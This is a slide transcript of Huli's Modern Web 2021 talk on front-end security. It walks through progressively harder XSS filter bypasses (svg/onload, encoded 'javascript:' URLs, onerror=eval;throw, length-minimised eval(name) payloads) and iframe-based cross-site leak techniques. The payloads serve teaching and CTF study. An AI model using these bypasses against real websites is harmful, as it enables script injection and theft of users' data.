Save 37% off PRO during our Black Friday Sale! »

接觸資安才發現前端的水真深 - Modern Web 2021

58d2fa98345951d9a57fdd6cfd5d0f64?s=47 Huli
October 15, 2021

接觸資安才發現前端的水真深 - Modern Web 2021

接觸資安才發現前端的水真深 - Modern Web 2021

58d2fa98345951d9a57fdd6cfd5d0f64?s=128

Huli

October 15, 2021
Tweet

Transcript

  1. 接觸資安才發現前端的⽔水真深 Huli @ Modern Web 2021

  2. About 上半年年:OneDegree 前端⼯工程師

  3. About 上半年年:OneDegree 前端⼯工程師 下半年年:Cymetrics 資安⼯工程師

  4. None
  5. Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能

  6. Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能

  7. XSS

  8. <script> alert(1) </script>

  9. <img src=x onerror=alert(1)>

  10. <svg onload=alert(1)>

  11. Q1 如果把 HTML 中的空格都拿掉 是否還可以⽤用屬性 XSS?

  12. Q1 如果把 HTML 中的空格都拿掉 是否還可以⽤用屬性 XSS?

  13. <svg onload=alert(1)>

  14. <svg/onload=alert(1)>

  15. Q2 如果禁⽌止使⽤用 on 開頭的屬性, 是否還能 XSS?

  16. Q2 如果禁⽌止使⽤用 on 開頭的屬性, 是否還能 XSS?

  17. <iframe/ src="javascript:alert(1)">

  18. Q3 如果把 javascript 開頭的值都濾掉, 是否還能 XSS?

  19. Q3 如果把 javascript 開頭的值都濾掉, 是否還能 XSS?

  20. <iframe/ src="java\tscript:alert(1)">

  21. Q4 如果去除 tab 跟空⾏行行以後去掉 javascript, 是否還能 XSS?

  22. Q4 如果去除 tab 跟空⾏行行以後去掉 javascript, 是否還能 XSS?

  23. <iframe/ src="javascript:alert(1)">

  24. <iframe/ src="&#106avascript:alert (1)">

  25. Q5 如果去除 src 屬性, 是否還能 XSS?

  26. Q5 如果去除 src 屬性, 是否還能 XSS?

  27. <a/ href="javascript:alert(1)">

  28. <script> alert(1) </script>

  29. <script> alert`1` </script>

  30. onerror=alert;throw 1

  31. onerror=eval;throw "=alert\x281\x29"

  32. onerror=eval;throw "=alert\x281\x29" Uncaught 123

  33. onerror=eval;throw "=alert\x281\x29" Uncaught=123

  34. onerror=eval;throw "=alert\x281\x29" Uncaught=alert(1)

  35. None
  36. 字數限制

  37. <svg/onload=> 13 字

  38. 利利⽤用現有資訊

  39. <svg/ onload= eval(`'`+location)> 13 + 18 = 31 字

  40. a.com#';alert(1) `'` + location => 'a.com#';alert(1)

  41. <svg/ onload= eval(`'`+document.URL)> 13 + 22 = 35 字

  42. <svg/ onload= eval(`'`+document.URL)> 13 + 22 = 35 字 9

    個字
  43. <svg/ onload= eval(`'`+URL)> 13 + 13 = 26 字

  44. None
  45. None
  46. Q6 name = 123 typeof name === "number"

  47. Q6 name = 123 typeof name === "number"

  48. example.com window.name

  49. huli.tw window.name

  50. <svg/ onload= eval(name)> 13 + 10 = 23 字

  51. https://tinyxss.terjanq.me/

  52. Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能

  53. Agenda 1. 繞過各種限制 2. Cross site leaks (XS leak) 3.

    其他你不知道的功能
  54. Download 請輸入要搜尋的使⽤用者名稱 example.com/download

  55. Download 請輸入要搜尋的使⽤用者名稱 查無使⽤用者 example example.com/download?q=example

  56. Download 請輸入要搜尋的使⽤用者名稱 a example.com/download?q=a

  57. Download 請輸入要搜尋的使⽤用者名稱 a

  58. 然後呢,我們能做什什麼?

  59. Download 請輸入要搜尋的使⽤用者名稱 iframe example.com/download huli.tw

  60. Download 請輸入要搜尋的使⽤用者名稱 iframe example example.com/download?q=example huli.tw

  61. Download 請輸入要搜尋的使⽤用者名稱 iframe example iframe.contentWindow.origin example.com/download?q=example huli.tw

  62. Download 請輸入要搜尋的使⽤用者名稱 iframe a iframe.contentWindow.origin example.com/download?q=a huli.tw

  63. None
  64. example.com/users/123 David id=message 傳送訊息

  65. example.com/users/210 Peter id=add 加入好友

  66. 然後呢,我們能做什什麼?

  67. example.com/users/123 David id=message 傳送訊息

  68. example.com/users/123#message David id=message 傳送訊息 focus

  69. iframe example.com/users/123#message huli.tw David id=message 傳送訊息

  70. None
  71. Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能

  72. example.com/files example.com/blog 上傳各種檔案 放各種⽂文章

  73. example.com/files example.com/blog path: /files path: /blog 上傳各種檔案 放各種⽂文章

  74. example.com/files example.com/blog path: /files path: /blog 放各種⽂文章 <script>
 alert(1)
 </script>

    files/xss.html
  75. example.com/files example.com/blog path: /files path: /blog 放各種⽂文章 <script>
 alert(1)
 </script>

    files/xss.html ?
  76. None
  77. None
  78. example.com <embed src=/pdf?token=u7Dh3 ……….

  79. example.com <embed src=/pdf?token=u7Dh3 ………. <script>
 alert(1)
 </script>

  80. example.com <embed src=/pdf?token=u7Dh3 ………. <script>
 alert(1)
 </script> ?

  81. None
  82. None
  83. Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能

  84. 資料來來源 1.https://tinyxss.terjanq.me/ 2.https://xsleaks.dev/ 3.LINE CTF 2021 4.DiceCTF 2021 5.zer0pts CTF

    2021
  85. google: cymetrics blog